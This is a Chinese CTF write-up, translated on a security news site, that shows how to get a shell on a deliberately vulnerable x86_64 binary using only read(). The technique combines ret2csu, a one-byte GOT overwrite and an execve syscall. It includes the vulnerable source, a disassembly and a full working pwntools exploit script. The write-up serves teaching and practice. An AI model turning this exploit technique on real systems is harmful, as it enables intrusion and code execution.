HackZone CTF比赛上一道X86_64上使用任意内存写来获取RCE题目的WriteUp - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

HackZone CTF比赛上一道X86_64上使用任意内存写来获取RCE题目的WriteUp

h1apwn 技术 2020-01-12 10:20:00
501309
收藏

导语:只通过read函数达到RCE这种方法还真的是第一次见,使用 read函数在`.bss`部分中写入`/bin/sh`非常有意思,后面就可以使用read函数读取0x3b(`sys_execve`)任意数据的大小,思路新奇。

0x01  概述

在HackZone CTF解pwn题时,我仅通过使用readlibc中的函数就找到了一种新的任意代码执行技术。

安全研究中几乎不可能仅通过任意写入来利用二进制文件,因为在现实世界中,需要泄漏一些数据(特别是在启用ASLR时),然后跳转到正确的位置。但是我对如何在X86_64平台上仅使用read @ GLIBC (Arbitrary Write)获得RCE有了一个想法。

0x02 PWN.c

 // gcc -fno-stack-protector -no-pie pwn.c -o pwn
 #include  #include  
 int main(){
     char buf[100];
     read(0, &buf, 500);
 }

使用此代码,我将对其进行编译,并尝试使用我的方法来利用它!

     Arch:     amd64-64-little
     RELRO:    Partial RELRO
     Stack:    No canary found
     NX:       NX enabled
     PIE:      No PIE (0x400000)

GOT表是可写的,因此这将有助于覆盖read @ GOT,但是问题在于将使用哪种数据来覆盖read @ GOT,因为unable leak address和ASLR已启用!

0x03 阅读@GOT

 root@kali:~# objdump -R ./pwn
 
 ./pwn:     file format elf64-x86-64
 
 DYNAMIC RELOCATION RECORDS
 OFFSET           TYPE              VALUE 
 0000000000403ff0 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.2.5
 0000000000403ff8 R_X86_64_GLOB_DAT  __gmon_start__
 0000000000404018 R_X86_64_JUMP_SLOT  read@GLIBC_2.2.5
 gdb-peda$ x/g 0x404018
 0x404018 :        0x00007ffff7ee2850

在示例0x404018中,GOT表中的地址指向read@GLIBC_2.2.5libc中的地址。

0x04  阅读@GLIBC

 gdb-peda$ disassemble read 
 Dump of assembler code for function __GI___libc_read:
    0x00007ffff7ee2850 :     lea    rax,[rip+0xd3b79]
    0x00007ffff7ee2857 :     mov    eax,DWORD PTR [rax]
    0x00007ffff7ee2859 :     test   eax,eax
    0x00007ffff7ee285b :    jne    0x7ffff7ee2870     0x00007ffff7ee285d :    xor    eax,eax
    0x00007ffff7ee285f :    syscall 
    0x00007ffff7ee2861 :    cmp    rax,0xfffffffffffff000
    0x00007ffff7ee2867 :    ja     0x7ffff7ee28c0     0x00007ffff7ee2869 :    ret    
    0x00007ffff7ee286a :    nop    WORD PTR [rax+rax*1+0x0]
    0x00007ffff7ee2870 :    sub    rsp,0x28
    0x00007ffff7ee2874 :    mov    QWORD PTR [rsp+0x18],rdx
    0x00007ffff7ee2879 :    mov    QWORD PTR [rsp+0x10],rsi
    0x00007ffff7ee287e :    mov    DWORD PTR [rsp+0x8],edi
    0x00007ffff7ee2882 :    call   0x7ffff7efe570
    ...

函数read @ GLIBC的汇编代码,可以看到syscall第一条指令距离ret第一条指令仅15位,其后到第一条指令仅45位。

read @ GOT 中的一个字节覆盖可以创建一个gadget syscall; ret

1578315509131445.png

0x05  Pwn

总结利用二进制文件的所有步骤,需要做的是:

  1. 需要使用ret2csu技术来控制RDI,RSI和RDX。

  2. 使用 read函数在.bss部分中写入/bin/sh。

  3. read@GOT用一个字节覆盖,以0x5f使read函数指向syscall指令。

  4. 因为用onebyte 覆盖,所以意味着RAX等于1。

  5. RAX寄存器等于1,并且read函数指向syscall指令,那意味着我们有一个write函数。

  6. 使用read函数,0x3b将从(.text或.bss)中读取任意数据的大小,以使RAX等于0x3b(sys_execve)。

  7. 现在RAX等于0x3b并且/bin/sh在内存中,需要做的就是触发一个 syscall。

  8. 获得一个shell。

0x06  Exploit

 from pwn import *
 
 p = process('./pwn')
 
 read_got    = p64(0x404018) # read@got
 read_plt    = p64(0x401030) # read@plt
 str_bin_sh  = p64(0x404100) # 0x00404000 (bss) + 0x100
 text        = p64(0x401000) # .text section
 csu_init1   = p64(0x4011a2) # pop rbx
 csu_init2   = p64(0x401188) # mov rsi, r13
 csu_fini    = p64(0x4011b0) # ret
 sys_execve  = p64(0x3b)
 null        = p64(0x0)
 one         = p64(0x1)
 zero        = p64(0x0)
 stdin       = p64(0x0)
 stdout      = p64(0x1)
 junk        = 'JUNKJUNK'
 bin_sh      = '/bin/sh\x00'
 len_bin_sh  = p64(len(bin_sh))
 
 def ret2csu(func_GOT, rdi, rsi, rdx):
     ret_csu  = zero      # pop rbx
     ret_csu += one       # pop rbp
     ret_csu += rdi       # pop r12
     ret_csu += rsi       # pop r13
     ret_csu += rdx  # pop r14
     ret_csu += func_GOT  # pop r15
     ret_csu += csu_init2 # ret
     ret_csu += junk      # add rsp,0x8
     return ret_csu
 
 crash = 'A' * 120
 
 # Write '/bin/sh' in str_bin_sh
 rop  = csu_init1
 rop += ret2csu(read_got, stdin, str_bin_sh, len_bin_sh)
 
 # Overwrite read@got with one_byte
 rop += ret2csu(read_got, stdin, read_got, one)
 
 # Read arbitrary data in order to gt 0x3b in RAX
 rop += ret2csu(read_got, stdout, text, sys_execve)
 
 # sys_execve('/bin/sh')
 rop += ret2csu(read_got, str_bin_sh, null, null)
 
 payload = crash + rop
 
 exploit = payload.ljust(500, 'A')
 p.send(exploit)
 p.send(bin_sh)
 p.send('\x5f')
 garbage = p.recv()
 p.interactive()

0x07  题目下载

read_glibc.zip

https://amriunix.com/files/from-read-glibc-to-rce-x86_64/read_glibc.zip

0x08  学习总结

只通过read函数达到RCE这种方法还真的是第一次见,使用 read函数在.bss部分中写入/bin/sh非常有意思,后面就可以使用read函数读取0x3b(sys_execve)任意数据的大小,思路新奇。

本文翻译自:​https://amriunix.com/post/from-read-glibc-to-rce-x86_64/如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2024 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务